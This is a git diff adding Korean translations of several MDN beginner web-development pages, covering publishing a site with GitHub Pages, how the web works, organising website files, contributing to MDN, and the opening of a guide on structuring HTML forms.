  1. 먼저, 여러분의 장치에 Git 을 설치 하세요. 이것은 GitHub 이 위에서 작동하게 되는 기초가 되는 버전 컨트롤 시스템 소프트웨어 입니다.
  2. +
  3. 다음으로, GitHub 계정을 위해 가입하세요. 간단하고 쉽습니다.
  4. +
  5. 가입을 하셨다면, github.com 에 여러분의 유저 이름과 암호로 로그인하세요.
  6. +
  7. 그리고나서, 여러분의 파일들이 들어가게될 새로운 repo 를 생성해야 합니다. GitHub 홈페이지의 오른쪽 상단에 있는 플러스 (+) 를 클릭하고, New Repository 를 선택하세요.
  8. +
  9. 이 페이지에서, Repository name 박스 안에, username.github.io 를 입력하세요, username 가 있는 곳이 여러분의 유저 이름입니다. 그러니까 예를 들어, 우리 친구 bobsmith 는 bobsmith.github.io 를 입력할 것입니다.
  10. +
  11. Create repository 를 클릭하세요. 다음과 같은 페이지로 이동하실 겁니다:
  12. +
+ +

GitHub 에 파일 올리기

+ +

이것은 GitHub 에 있는 우리의 repository 를 놓기 위해 사용해볼 커맨드 라인입니다. 커맨드 라인은 파일을 생성하거나 프로그램을 실행하는 것 같은 일을 하기 위해 유저 인터페이스 안에서 클릭을 하는 것 대신 명령어를 입력하는 창입니다. 이렇게 생긴 것입니다:

+ +

+ +
+

노트: 만약 커맨드라인이 불편하시다면, 같은 일을 하기 위해서 Git graphical user interface 를 사용하는것도 고려해 볼 수 있습니다.

+
+ +

모든 운영 체제는 커맨드 라인 도구를 갖습니다:

+ + + +

처음에는 좀 두려우실 수 있지만, 걱정하지마세요 — 기본적인 것들은 금방 익히실 수 있을 것입니다. 무언가를 하기 위해선 명령어를 입력하고 엔터를 누르는 것으로 컴퓨터에게 알려줘야합니다.

+ +
    +
  1. 커맨드 라인을 여러분의 test-site 폴더로 향하게 합니다 (또는 여러분의 웹사이트가 포함된 어디든지). 그러기 위해선, cd 명령을 사용합니다 (말하자면 "change directory"). 여기 만약 test-site 폴더 안에 여러분의 웹사이트를 놓으셨다면 여러분이 입력해야 하는 것이 있습니다: + +
    cd Desktop/test-site
    +
  2. +
  3. 커맨드 라인이 여러분의 웹사이트 폴더 안을 가리킬 때, 그 폴더를 git repository 가 되도록 git 도구에게 알려주는 다음의 명령을 입력하세요: +
    git init
    +
  4. +
  5. 다음으로, GitHub 사이트로 돌아가세요. 현재 페이지에서, you are interested in the section …or push an existing repository from the command line. 이 구역에 나열된 두 코드를 보게 되실 겁니다. 첫 번째 줄의 코드 전체를 복사하고, 커맨드 라인에 붙여넣은 다음, 엔터를 누르세요. 그 명령은 이렇게 보일 것입니다: +
    git remote add origin https://github.com/bobsmith/bobsmith.github.io.git
    +
  6. +
  7. 다음으로, 다음 두 명령어를 입력하고, 각 명령마다 엔터를 누릅니다. 이것은 GitHub 에 코드를 올릴 준비를 하는 것이고, Git 에게 그 파일들을 관리하도록 요청합니다. +
    git add --all
    +git commit -m "adding my files to my repository"
    +
  8. +
  9. 마지막으로, GitHub 웹 페이지로 가서 3단계에서 봤던 두 개의 명령어중 두 번째 줄을 터미널에 입력하는 것으로 코드를 푸시합니다: +
    git push -u origin master
    +
  10. +
  11. 이제 새 브라우저 탭 (username.github.io) 에서 여러분의 GitHub 페이지의 웹 주소로 갈 때, 여러분의 사이트를 온라인에서 보실 수 있습니다! 친구들에게 메일을 보내서 여러분의 실력을 뽐내보세요.
  12. +
+ +
+

노트: 만약 막히셨다면, GitHub Pages 홈페이지 또한 아주 도움이 될 것입니다.

+
+ +

더 많은 GitHub 이해

+ +

만약 여러분이 테스트 사이트에 더 많은 변화를 주고 GitHub에 그것들을 업로드하길 원하신다면, 이전에 하신것 처럼 간단하게 파일에 변화를 주면 됩니다. 그리고나서, GitHub에 변화를 푸시하기 위해 다음 명령어를 입력 (각 명령 다음에 엔터누르기) 해야 합니다:

+ +
git add --all
+git commit -m 'another commit'
+git push
+ +

another commit 대신에 여러분이 막 변경했던 것을 설명할 수 있는 더 적합한 메시지로 바꾸세요.

+ +

우리는 Git 의 겉을 살짝 건드려 보았습니다. 더 많이 배우시려면, GitHub Help 사이트 에서 시작하세요.

+ +

마무리

+ +

이 지점에서, 특정 웹 주소에서 여러분의 예시 웹사이트를 사용하실 수 있을 것입니다. 수고하셨습니다!

+ +

+ +

 

+ +

더 읽을거리

+ + + +

{{PreviousMenuNext("Learn/Getting_started_with_the_web/JavaScript_basics", "Learn/Getting_started_with_the_web/How_the_Web_works", "Learn/Getting_started_with_the_web")}}

+ +

 

+ +

In this module

+ + + +

 

+ +

 

diff --git "a/files/ko/learn/getting_started_with_the_web/\354\233\271\354\235\230_\353\217\231\354\236\221_\353\260\251\354\213\235/index.html" "b/files/ko/learn/getting_started_with_the_web/\354\233\271\354\235\230_\353\217\231\354\236\221_\353\260\251\354\213\235/index.html" new file mode 100644 index 0000000000..009b22ec8f --- /dev/null +++ "b/files/ko/learn/getting_started_with_the_web/\354\233\271\354\235\230_\353\217\231\354\236\221_\353\260\251\354\213\235/index.html" @@ -0,0 +1,99 @@ +--- +title: 웹의 동작 방식 +slug: Learn/Getting_started_with_the_web/웹의_동작_방식 +translation_of: Learn/Getting_started_with_the_web/How_the_Web_works +--- +

{{LearnSidebar}}

+ +

{{PreviousMenu("Learn/Getting_started_with_the_web/Publishing_your_website", "Learn/Getting_started_with_the_web")}}

+ +
+

'웹의 동작 방식'은 여러분의 컴퓨터나 폰의 웹 브라우저 안에서 웹페이지를 볼 때 무슨 일이 발생하는지에 대한 간소화된 개념을 제공할 것입니다.

+
+ +

이 이론은 단기적으로 봤을 때 웹 코드를 작성하기 위해 필수적인 것은 아니지만, 머지 않아 백그라운드에서 발생하는 것을 이해하는 것으로부터 오는 장점을 얻게 될 것입니다.

+ +

클라이언트와 서버

+ +

웹에 연결된 컴퓨터는 클라이언트 서버 라고 합니다. 그들이 어떻게 상호작용하는가에 대한 간소화된 다이어그램은 다음과 같습니다:

+ +

+ + + +

도구 상자의 다른 부분들

+ +

위에서 설명한 클라이언트와 서버는 모든 내용을 알려주진 않습니다. 많은 다른 부분들이 포함되어 있고, 아래에서 그것들에 대해 설명할 것입니다.

+ +

지금은, 웹이 도로라고 상상해봅시다. 도로의 한 쪽 끝은 여러분의 집 같은 클라이언트 입니다. 다른 한 쪽 끝은 여러분이 뭔가를 사길 원하는 상점같은 서버입니다.

+ +

+ +

클라이언트와 서버에 덧붙여서 우리는 다음 내용들도 알아볼 필요가 있습니다.

+ + + +

그래서 정확히 무슨일이 발생할까요?

+ +

여러분이 브라우저에 웹 주소를 입력할 때 (우리의 비유에서 상점으로 걸어가는 것과 유사합니다):

+ +
    +
  1. 브라우저는 DNS 서버로 가서 웹사이트가 있는 서버의 진짜 주소를 찾습니다 (여러분이 상점의 주소를 찾습니다).
  2. +
  3. 그 다음 브라우저는 서버에게 웹사이트의 사본을 클라이언트에게 보내달라는 HTTP 요청 메세지를 서버로 전송합니다.(상점으로 가서 상품을 주문합니다.) 이 메세지, 그리고 클라이언트와 서버 사이에 전송된 모든 데이터는 TCP/IP 연결을 통해서 전송됩니다.
  4. +
  5. 이 메세지를 받은 서버는 클라이언트의 요청을 승인하고, "200 OK" 메세지를 클라이언트에게 전송합니다. "200 OK"는 "물론이죠. 당신은 웹 사이트를 볼 수 있어요! 여기 있어요" 라는 의미입니다. 그 다음 서버는 웹사이트의 파일들을 데이터 패킷이라 불리는 작은 일련의 덩어리들로 브라우저에 전송하기 시작합니다.(상점은 여러분이 주문한 상품을 전달하고, 여러분은 그것을 집으로 가져갑니다.)
  6. +
  7. 브라우저는 이 작은 덩어리들을 완전한 웹 사이트로 조립하고, 당신에게 보여줍니다. (상품이 당신의 문에 도착합니다. — 새 것이죠, 멋져요!)
  8. +
+ +

DNS 설명

+ +

실제 웹 주소는 멋지거나, 여러분이 선호하는 웹사이트를 찾기 위한 주소 막대에 입력하는 기억할만한 문자가 아닙니다. 그것은 63.245.217.105 같은 숫자 덩어리입니다.

+ +

이것은 IP 주소라고 하고, 웹의 하나뿐인 특정 위치를 나타냅니다. 그러나 기억하기에 쉽지는 않죠? 그것이 도메인 이름 서버가 발명된 이유입니다. 도메인 이름 서버는 여러분이 브라우저에 입력하는 웹주소 ("mozilla.org" 같은) 를 웹사이트의 실제 (IP) 주소에 맞춰주는 특별한 서버입니다. 

+ +

웹사이트는 그들의 IP 주소를 통해 직접 접근될 수도 있습니다. 여러분은 IP Checker와 같은 도구에 도메인을 입력해 IP 주소를 찾을 수 있습니다.

+ +

패킷 설명

+ +

앞서 우리는 서버에서 클라이언트로 전송되는 데이터의 포맷을 설명하기 위해 "패킷" 이라는 용어를 사용했습니다. 이게 무엇을 의미하는 걸까요? 기본적으로, 데이터가 웹을 거쳐서 전송될 때, 수천개의 작은 덩어리들로 전송됩니다. 그래서 다양한 웹 사용자들은 동시에 같은 웹 사이트를 다운로드 할 수 있게 됩니다. 만약 웹 사이트가 하나의 큰 덩어리들로 전송된다면, 오직 한 번에 하나의 사용자만 다운로드 할 수 있을 것입니다. 이는 분명 웹을 매우 비효율적이고, 사용하기에 재미없게 만들 것입니다.

+ +

여기도 보세요

+ + + +

크레딧

+ +

거리 사진: Street composing, by Kevin D.

+ +

{{PreviousMenu("Learn/Getting_started_with_the_web/Publishing_your_website", "Learn/Getting_started_with_the_web")}}

+ +

In this module

+ + diff --git "a/files/ko/learn/getting_started_with_the_web/\355\214\214\354\235\274\353\223\244_\353\213\244\353\243\250\352\270\260/index.html" "b/files/ko/learn/getting_started_with_the_web/\355\214\214\354\235\274\353\223\244_\353\213\244\353\243\250\352\270\260/index.html" new file mode 100644 index 0000000000..1ed38e8cde --- /dev/null +++ "b/files/ko/learn/getting_started_with_the_web/\355\214\214\354\235\274\353\223\244_\353\213\244\353\243\250\352\270\260/index.html" @@ -0,0 +1,117 @@ +--- +title: 파일 다루기 +slug: Learn/Getting_started_with_the_web/파일들_다루기 +tags: + - Beginner + - CodingScripting + - Files + - Guide + - HTML + - 'l10n:priority' +translation_of: Learn/Getting_started_with_the_web/Dealing_with_files +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/Getting_started_with_the_web/What_will_your_website_look_like", "Learn/Getting_started_with_the_web/HTML_basics", "Learn/Getting_started_with_the_web")}}
+ +
+

웹사이트는 문자, 코드, 스타일시트, 미디어 등 수많은 파일로 구성되어 있습니다. 웹사이트를 제작할 때, 여러분은 이러한 파일들을 여러분의 컴퓨터에 적당한 양식에 맞춰 정리해야 하고, 서로가 잘 작동하는지 확인해야 하며, 최종적으로 서버에 업로드하기 전에 모든 내용이 올바르게 나타나게 해야 합니다. 파일 다루기에서는 여러분의 웹사이트를 위한 적당한 양식을 만들기 위해 여러분이 알아야 하는 몇 가지 문제들에 대해 이야기 할 것입니다.

+
+ +

웹사이트는 컴퓨터의 어디에 두어야 할까요?

+ +

만약 여러분이 로컬컴퓨터에서 웹사이트에 대해 작업한다면, 퍼블리시된 웹사이트의 파일 구조를 반영하는 하나의 폴더 안에 관련된 모든 파일을 유지하여야 합니다. 이 폴더는 여러분이 원하는 곳이라면 어디에나 둘 수 있지만, 아마도 쉽게 찾을 수 있는 곳에 두어야 할 것입니다. 예를들면 여러분의 바탕화면이나 홈 폴더, 또는 하드 드라이브의 루트(root)가 될 것입니다.

+ +
    +
  1. 여러분의 웹사이트 프로젝트를 저장할 장소를 선택하세요. 여기에, web-projects (또는 비슷한 이름의 폴더) 라고 불리는 새 폴더를 생성하세요. 이 곳이 여러분의 웹사이트 프로젝트가 위치할 곳입니다.
  2. +
  3. 이 첫 번째 폴더에, 또다른 폴더를 하나 만들고 첫 번째 웹사이트를 저장하도록 합시다. 그 폴더를 test-site (또는 무언가 더 상상력을 발휘한 다른 이름도 좋습니다) 라고 부릅시다.
  4. +
+ +

포장과 공백에 대한 여담

+ +

이 글을 통해 알게 되겠지만, 폴더와 파일의 이름을 지을 때 공백 없이 영문 소문자로 짓기를 바랍니다. 이것은 다음과 같은 이유 때문입니다.

+ +
    +
  1. 많은 컴퓨터들 -특히 웹 서버- 은 영문 대소문자를 구분합니다. 그래서 예를 들면, 웹사이트에 test-site/MyImage.jpg라는 이미지를 저장해 두었는데 여러분이 다른 파일에서 test-site/myimage.jpg라는 이미지를 호출하는 것은 작동하지 않을 것입니다.
  2. +
  3. 브라우저들과 웹 서버들, 그리고 프로그래밍 언어들은 공백을 일관되게 처리하지 않습니다. 예를 들면, 만약 여러분이 파일 이름에 공백을 사용한다면, 어떤 시스템은 그 파일 이름을 두개의 파일 이름으로 다룰 것입니다. 어떤 서버들은 그 파일 이름의 공백을 "%20"(URIs 안의 공백을 위한 문자 코드)으로 대체하므로 여러분의 모든 링크들을 망가뜨릴 것입니다. 또한, 밑줄문자를 사용하기 보다는 대시(하이픈)으로 단어를 구분하는 것이 훨씬 더 좋습니다.: my-file.html vs. my_file.html.
  4. +
+ +

간단히 말하자면 여러분은 파일 이름을 지을 때 붙임표(hyphen)를 사용해야 합니다. 구글 검색 엔진은 하이픈를 단어 구분자로 취급합니다. 그러나 밑줄문자는 단어 구분자로 취급하지 않습니다. 이러한 이유로, 여러분이 폴더와 파일 이름을 지을 때에는 공백이 없는 영문 소문자와 대시로 구분된 단어로 작성하는 습관을 들이는 것이 제일 좋습니다. 적어도 여러분이 무엇을 하는지 알 때까지는요. 그렇게하면 나중에 발생할 문제를 줄일 수 있습니다.

+ +

웹사이트는 어떤 구조를 가져야 할까요?

+ +

다음으로, 우리의 테스트 사이트가 어떤 구조를 가져야 하는지 살펴 봅시다. 어떤 웹사이트 프로젝트를 만들든지간에 가장 공통으로 가지게 되는 것들은 index HTML 파일과 이미지, 스타일 파일(CSS 파일), 스크립트 파일들을 포함하고 있는 폴더입니다. 이것들을 이제 생성해 봅시다.

+ +
    +
  1. index.html: 이 파일은 보통은 홈페이지의 내용을 가지고 있습니다. 다시 말하면, 처음 웹사이트에 방문하면 사람들이 볼 수 있는 텍스트나 이미지이 파일 같은 것입니다. 텍스트 에디터를 사용하여, index.html 라는 새 파일을 생성하고 test-site 폴더 안에 저장하세요.
  2. +
  3. images 폴더: 이 폴더는 여러분의 사이트에 사용할 모든 이미지들을 포함하고 있습니다. test-site 폴더 안에, images 라는 폴더를 생성하세요.
  4. +
  5. styles 폴더: 이 폴더는 여러분의 내용을 보기 좋게 꾸며주기(예를 들어, 문자와 배경색을 세팅하는 것) 위한 CSS 코드를 포함할 것입니다. test-site 폴더 안에, styles 라는 폴더를 생성하세요.
  6. +
  7. scripts 폴더: 이 폴더는 모든 JavaScript 코드를 포함하고 있는데, 이 코드는 여러분의 사이트에 상호작용하는 기능을 추가할 때 사용될 것입니다.예를들면, 클릭할 때 자료를 불러오는 버튼). test-site 폴더 안에, scripts 라는 폴더를 생성하세요.
  8. +
+ +
+

참고: Windows 컴퓨터에서는 파일 이름을 보는것에 문제가 생길 수 있습니다, 왜냐하면 윈도우는 기본적으로 알려진 확장자 자동 숨김이라는 귀찮은 옵션을 갖고 있기 때문입니다. 일반적으로 윈도우 익스플로러에서, 폴더 옵션...에서 알려진 확장자 자동 숨김을 선택 해제하는 것으로 이 옵션을 끌 수 있습니다. 여러분의 윈도우 버전을 포함한 더 많은 정보는, 인터넷에서 검색을 해보세요!

+
+ +

파일 경로

+ +

파일들이 서로 의사소통할 수 있도록 하려면 여러분은 서로에게 각자의 파일 경로를 제공해야 합니다 — 기본적으로 다른 파일이 어디있는지 알 수 있도록 경로를 제공해야하는 것이죠. 이것을 시연해보기 위해, 우리는 index.html파일에 약간의HTML을 작성할 것입니다, 그리고 "웹사이트의 외관은 어떻게 할까요?" 라는 글에서 여러분이 선택한 이미지를 보여주게 할 것입니다.

+ +
    +
  1. images폴더 안에 여러분이 선택한 이미지를 복사해 넣으세요.
  2. +
  3. index.html 파일을 열고, 아래의 코드를 보이는 그대로 집어 넣습니다. 지금은 이 모든게 무슨 뜻인지 걱정할 필요가 없습니다 — 본 시리즈에서 나중에 이 구조에 대해 더 자세히 살펴볼 겁니다. +
    <!DOCTYPE html>
    +<html>
    +  <head>
    +    <meta charset="utf-8">
    +    <title>My test page</title>
    +  </head>
    +  <body>
    +    <img src="" alt="My test image">
    +  </body>
    +</html> 
    +
  4. +
  5. <img src="" alt="My test image">라는 줄은 페이지 안으로 이미지를 삽입하는 HTML 코드 입니다. 우리는 이미지가 어디에 있는지에 대해 HTML에게 말해줄 필요가 있습니다. 이미지는 images라는 폴더 안에 있는데, 이것은 index.html 파일과 같은 폴더에 있습니다. index.html파일에서 우리 이미지 파일로 파일 구조를 이동하기 위해, 우리가 필요한 파일 경로는 images/your-image-filename입니다. 예를 들어, 우리 이미지가 firefox-icon.png라면, 파일 경로는 images/firefox-icon.png가 됩니다.
  6. +
  7. 여러분의 HTML 코드 중 src="" 의 쌍따옴표 사이에 파일 경로를 입력하세요.
  8. +
  9. HTML 파일을 저장하고나서, 여러분의 웹 브라우저에서 이것을 로드하세요 (파일을 더블 클릭). 여러분의 새 웹페이지가 이미지를 표시하는 것을 보실 수 있습니다!
  10. +
+ +

A screenshot of our basic website showing just the firefox logo - a flaming fox wrapping the world

+ +

파일 경로를 위한 일반적인 규칙들:

+ + + +

지금으로선, 이것이 여러분이 알아야 할 전부 입니다.

+ +
+

노트: 윈도우 파일 시스템은 기본 슬래시가 아니라 역슬래시를 사용하는 경향이 있습니다. 예시: C:\windows. 이것은 HTML에서 문제가 되지않습니다 — 여러분이 윈도우에서 웹 사이트를 개발하더라도 전방향 슬래시(/)를 코드에 사용해야 합니다.

+
+ +

또 무엇을 더 해야할까요?

+ +

현재로서는 이것이 전부입니다. 여러분의 폴더 구조는 이와 같이 보여야 합니다:

+ +

A file structure in mac os x finder, showing an images folder with an image in, empty scripts and styles folders, and an index.html file

+ +

{{PreviousMenuNext("Learn/Getting_started_with_the_web/What_will_your_website_look_like", "Learn/Getting_started_with_the_web/HTML_basics", "Learn/Getting_started_with_the_web")}}

+ + + +

In this module

+ + diff --git a/files/ko/learn/how_to_contribute/index.html b/files/ko/learn/how_to_contribute/index.html new file mode 100644 index 0000000000..08ee091c24 --- /dev/null +++ b/files/ko/learn/how_to_contribute/index.html @@ -0,0 +1,105 @@ +--- +title: MDN의 학습 영역에 기여하는 방법 +slug: Learn/How_to_contribute +tags: + - Documentation + - MDN Meta + - 'l10n:priority' + - 가이드 + - 배우기 + - 참여 + - 초보자 +translation_of: Learn/How_to_contribute +--- +
{{LearnSidebar}}
+ +

처음으로 또는 심도 깊은 검색을 통해 오셨다면 MDN 학습 영역에 참여하는 데 관심이있는 것 같습니다. 그건 좋은 소식입니다!

+ +

이 페이지에서는 MDN의 학습 콘텐츠를 개선하는 데 필요한 모든 것을 찾을 수 있습니다. 얼마나 많은 시간을 가지고 있는지, 초보자이든, 웹 개발자이든, 교사이든, 할 수있는 일이 많이 있습니다.

+ +
+

Note: 새로운 학습 영역 기사를 작성하는 방법에 대한 안내서는 사람들이 웹에 대해 알 수 있도록 기사를 작성하는 방법(How to write an article to help people learn about the Web)을 제공합니다.

+
+ +

특정 작업 찾기

+ +

참여자는 트로 보드(Trello board)를 사용하여 작업을 구성합니다. 이렇게 하면 프로젝트에서 수행할 특정 작업을 찾을 수 있습니다. 참여하려면 트렐로 계정을 만들고 Chris Mills에게 보드에 대한 쓰기 액세스 권한을 요청하면 됩니다.

+ +

기여는 새로운 것을 즐겁게 배우는 좋은 방법입니다만약 당신이 길을 잃거나 질문이 있으면 our mailing list 또는 IRC channel (자세한 내용은 이 페이지 하단 참조)로 문의하십시오. Chris Mills는 학습 영역의 핵심 드라이버입니다. 직접 디렉토리에 알림을 보내볼 수도 있습니다.

+ +

다음 섹션에서는 할 수있는 작업 유형에 대한 일반적인 아이디어를 제공합니다.

+ +

초보자

+ +
좋습니다! 초보자는 학습 자료에 대한 피드백을 만들고 제공하는 데 매우 중요하고 가치가 있습니다. 이 기사에 대한 독자적인 시각을 잠재 고객의 구성원으로 확보하면 우리 팀의 소중한 구성원이 될 수 있습니다. 실제로, 만약 당신이 무언가를 배우기 위해 우리의 글 중 하나를 사용하여 곤경에 빠지거나 글을 약간 혼란스럽게 하는 것을 발견한다면, 문제를 해결하거나 문제에 대해 알려줌으로써 해결할 수 있습니다.
+ +
+ +

다음은 참여 할 수있는 몇 가지 제안 방법입니다.

+ +
+
기사에 태그 추가[Add tags to our articles] (5 min)
+
MDN 컨텐츠에 태그를 지정하는 것은 MDN에 기여하는 가장 쉬운 방법 중 하나입니다. 많은 기능이 정보를 제공하기 위해 태그를 사용하므로 태그 지정을 돕는 것은 매우 가치가 있는 공헌입니다. 시작하려면 태그가없는 용어집 항목(glossary entries) 및 학습 기사(learning articles) 목록을 살펴보십시오.
+
용어 사전 항목 읽기 및 검토[Read and review a glossary entry] (5 min)
+
우리는 당신이 초보자로서 우리의 콘텐츠를 바라 보는 신선한 눈을 필요로 합니다. 용어집을 쉽게 이해할 수 없다면 항목을 개선해야한다는 의미입니다. 필요하다고 생각되는 부분은 자유롭게 변경하십시오. 자신이 직접 항목을 편집 할 수있는 적절한 기술이 없다고 생각한다면 our mailing list로 알려주십시오.
+
새로운 용어집 항목 작성[Write a new glossary entry] (20 minutes)
+
+
+
+
이것은 새로운 것을 배우는 가장 효과적인 방법입니다. 이해하려는 개념을 고르고, 그것에 대해 배울 때 그에 관한 용어집 항목을 작성하십시오. 다른 사람들에게 무언가를 설명하는 것은 지식을 "시멘트"로 만들고 다른 사람들을 돕는 동안 자신이 이해할 수 있게 하는 훌륭한 방법입니다. 모두에게 이득입니다!
+
+
+
+
학습 자료 읽기 및 검토[Read and review a learning article] (2 hours)
+
+
+
+
+
+
+
이것은 용어 사전 항목을 검토하는 것과 같습니다. (위 참조) 이 기사는 일반적으로 꽤 길기 때문에 더 많은 시간이 걸립니다.
+
+
+
+
+
+
+
+ +

웹 개발자

+ +

좋습니다! 당신의 기술 능력은 초보자에게 기술적으로 정확한 내용을 제공하기 위해 필요한 것입니다. MDN의 이 특정 부분은 웹 학습에만 전념하므로 유용한 설명이 아닌 단순하지 않은 설명을 가능한 간단하게 작성하십시오. 지나치게 정확한 것보다 이해하는 것이 더 중요합니다.

+ +
+
용어집 항목 읽기 및 검토[Read and review a glossary entry] (5 min)
+
웹 개발자로서, 우리의 콘텐츠가 지나치게 규칙적이지 않으면서 기술적으로 정밀한 지 확인해 주길 바랍니다. 필요하다고 생각되는 부분을 자유롭게 변경하십시오. 콘텐츠를 편집하기 전에 논의하기를 원하시면 our mailing list나 IRC channel로 알림을 보내주십시오.
+
새로운 용어집 항목 작성[Write a new glossary entry] (20 minutes)
+
기술적인 전문 용어를 명확히 하는 것은 기술적으로 정확하고 간결하게 배우는 좋은 방법이다. 초보자들은 그에 감사할 것입니다. 당신의 도움이 필요한 정의되지 않은 용어(many undefined terms)가 많이 있습니다. 선택해서 작성하실 수 있습니다. 
+
학습 자료 읽기 및 검토[Read and review a learning article] (2 hours)
+
이것은 용어집을 읽고 검토하는 것과 같습니다. (위 참조) 이 기사는 일반적으로 꽤 길기 때문에 더 많은 시간이 걸립니다.
+
새로운 학습 기사 작성[Write a new learning article ](4 hours or more)
+
MDN는 웹 기술사용에 관한 간단한 기사가 부족합니다. (HTML, CSS, JavaScript, 등)MDN은 다소 오래 된 콘텐츠들이 있고, 그를 검토하고 개정할 필요가 있습니다. 기술을 최대한 초보자에게도 웹 기술을 이용하기 쉽게 작성하십시오.
+
연습, 코드 샘플 또는 대화식 학습 도구 만들기[Create exercises, code samples or interactive learning tools](? hours)
+
우리의 모든 학습 기사는 “능동적 학습" 자료라고 부르는 것을 요구합니다. 왜냐하면 사람들은 스스로 뭔가를 함으로써 최선을 다해 배우기 때문입니다. 이러한 자료는 사용자가 기사에 설명 된 개념을 적용하고 조작하는 데 도움이 되는 연습이나 대화형 콘텐츠입니다. JSFiddle 또는 그와 유사한 코드 샘플을 만드는 것에서 Thimble을 사용하여 완전히 공유된 대화형 콘텐츠를 만드는 것까지 능동적인 학습 콘텐츠를 만드는 방법은 다양합니다. 창의력을 발휘하십시오!
+
+ +

교육자

+ +

MDN은 기술적 우수성에 대한 오랜 역사를 가지고 있지만 새로 온 사람들에게 개념을 가르치는 가장 좋은 방법에 대한 깊이 있는 이해가 부족합니다. 이것은 우리가 교사 또는 교육자로서 당신을 필요로 하는 이유입니다. 자료를 통해 독자에게 훌륭한 교육 자료를 제공 할 수 있습니다.

+ +
+
용어집 항목 읽기 및 검토[Read and review a glossary entry] (15 min)
+
용어집 항목을 확인하고 필요하다고 생각되는 부분을 자유롭게 변경하십시오. 편집하기 전에 내용을 토론하고 싶다면 our mailing listIRC channel로 알림을 보내주십시오.
+
새로운 용어집 항목 작성[Write a new glossary entry] (1 hour)
+
용어의 명확하고 간단한 정의와 용어집의 기본 개념은 초보자의 필요를 충족시키는 데 중요합니다. 교육자로서의 경험은 훌륭한 용어집 항목을 만드는 데 도움이 될 수 있습니다. 우리는 주의가 필요한 많은 정의되지 않은 용어(many undefined terms)를 가지고 있습니다. 하나를 선택하고 작성하실 수 있습니다.
+
기사에 삽화 또는 도식을 추가[Add illustrations and/or schematics to articles] (1 hour)
+
아시다시피, 삽화는 모든 학습 콘텐츠의 중요한 부분입니다. 이것은 종종 MDN에서 부족한 부분이며 당신의 기술이 해당 영역에서 변화를 가져올 수 있습니다. 설명이 부족한 기사(articles that lack illustrative content)를 확인하고 삽화를 삽입하고 싶은 기사를 선택하십시오.
+
학습 자료 읽기 및 검토[Read and review a learning article] (2 hours)
+
이것은 용어집 항목을 검토하는 것과 비슷하지만 (위 참조) 일반적으로 기사가 상당히 길기 때문에 더 많은 시간이 필요합니다.
+
새로운 학습 기사 작성[Write a new learning article] (4 hours)
+
우리는 웹 생태계와 그 주변의 다른 기능적 주제에 대한 간단하고 직접적인 기사가 필요합니다. 이 학습 기사는 말 그대로 문자 그대로 모두를 다루려고 하기 보다는 교육적일 필요가 있기 때문에 무엇을 알아야하고 어떻게 하면 훌륭한 자산이 될지를 아는 당신의 경험으로 도움을 줄 수 있습니다.
+
연습 문제, 퀴즈 또는 대화식 학습 도구 만들기[Create exercises, quizzes or interactive learning tools] (? hours)
+
우리의 모든 학습 기사에는 "능동적 학습" 자료가 필요합니다. 이러한 자료는 사용자가 기사에서 설명하는 개념을 사용하고 확장하는 방법을 배우는 데 도움이 되는 연습 또는 대화형 콘텐츠입니다. Thimble와 함께 공유된 양방향 콘텐츠를 만드는 것부터 퀴즈 만들기에 이르기까지 여기에서 할 수 있는 많은 것들이 있습니다. 창의력을 발휘하십시오!
+
학습 경로 만들기[Create learning pathways ](? hours)
+
진보적이고 이해하기 쉬운 자습서를 제공하려면 콘텐츠를 하나의 경로로 만들어야 합니다. 기존 콘텐츠를 수집하고 누락된 부분을 찾아서 작성할 학습 기사를 만들 수 있습니다.
+
diff --git "a/files/ko/learn/html/forms/html_\355\217\274_\352\265\254\354\204\261_\353\260\251\353\262\225/index.html" "b/files/ko/learn/html/forms/html_\355\217\274_\352\265\254\354\204\261_\353\260\251\353\262\225/index.html" new file mode 100644 index 0000000000..37bfbb57ae --- /dev/null +++ "b/files/ko/learn/html/forms/html_\355\217\274_\352\265\254\354\204\261_\353\260\251\353\262\225/index.html" @@ -0,0 +1,928 @@ +--- +title: HTML_폼_구성_방법 +slug: Learn/HTML/Forms/HTML_폼_구성_방법 +translation_of: Learn/Forms/How_to_structure_a_web_form +--- +

HTML폼을 만들떄 구조화 하는것은 중요한 것이다. 이것은 두가지 이유로 중요하다. 폼이 사용 할수 있다는 것을 보장하고 접근성도 늘릴수 있기 떄문이다.(즉 장애인들도 쉽게 사용할 수 있다.) HTML 폼의 접근성은 중요한 점이고 어떻게 폼 접근성을 높일 수 있는지 볼것이다.

+ +

HTML 폼들은 그 유연성으로 인해 HTML 중 복잡한 구조를 가지고 있는 요소중 하나이다. 폼 요소와 속성을 잘 혼합하면 모든 형태의 기본적인 폼을 만들 수 있다. 즉 몇몇 사람들이 HTML폼이 단순하고 매우 거칠다는 것을 발견했다는 것에 주목할 가치가 있다. XForms같은 풍부한 기술이 있다는 것은 사실이지만 불행하게도 모든 브라우저에서 폼의 종류를 널리 구현되지 않았다. 왜냐하면 대부분 자바스크립트에 의존하여 HTML폼들을 다루기 떄문이다.이 문서에서는 HTML 폼 요소들을 어떻게 사용해야 하는지 자세하게 설명 할 것이다. 만약 사용자 폼 위젯 만들기에 대하여 자세한 내용을 알고 싶다면 다음 문서를 참조하시오. How to build custom form widgets

+ +

글로벌 구조

+ +

<form> 요소

+ +

{{HTMLElement("form")}} 요소는 공식적으로 폼을 정의하는 요소로 이 요소의 속성으로 폼의 작동하는 방식을 정의 할 수있다. HTML폼을 생성할떄마다 반드시 이 요소로 시작을 해야한다. 많은 보조 기술이나 브라우저 플러그인이 {{HTMLElement("form")}} 요소를 발견하고 쉽게 사용 할 수 있게 특별한 후크를 구현 할 수 있다.

+ +

우리는 저번 문서에서 이미 이 내용을 다루었다.

+ +
주의:폼을 다른 폼으로 둘러싸는 것은 엄격하게 제한되어 있다. 만약 그렇게 하면 사용자가 사용하는 브라우저에 따라 예측할 수 없는 방식으로 작동하게 된다.
+ +

언제든지 폼위젯을 {{HTMLElement("form")}} 요소 바깥에서 사용할 수 있다. 하지만 그렇게 사용한다면, 그 폼위젯은 어떠한 폼과도 관련이 없다. 폼 위젯들은 폼 바깥에서 사용될 수  있지만, 그 위젯들은 스스로 아무것도 하지 않을 것이기 때문에 당신이 그 위젯들 전용 프로세스를 만들어주어야 한다. 당신은 자바스크립트로 그 동작을 정의해주어야 한다.

+ +
+

